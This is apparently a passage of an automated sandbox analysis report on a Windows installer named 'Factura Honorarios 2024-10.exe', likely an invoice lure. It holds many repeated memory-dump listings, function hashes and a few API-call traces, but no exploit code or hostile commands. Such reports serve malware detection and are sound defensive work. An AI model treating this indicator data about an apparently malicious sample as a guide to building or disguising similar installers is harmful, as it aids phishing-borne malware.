Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 004031CB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 00406095

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004031EC

Strings

1033, xrefs: 004031F3
C:\Users\user\AppData\Local\Temp\, xrefs: 004031CC, 004031D1, 004031D7, 004031E3, 004031EB, 004031F2

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction ID: a230b304c224a04ada09734fd21535f6fc799ebba56fb899572f26a9c12bfdf8
Opcode Fuzzy Hash: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction Fuzzy Hash: B3D0A92221693131D562362A3D02FCF080C8F0A719F12C03BF805B60C2CB6C0A8208FE

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 00401FC3

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,?,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
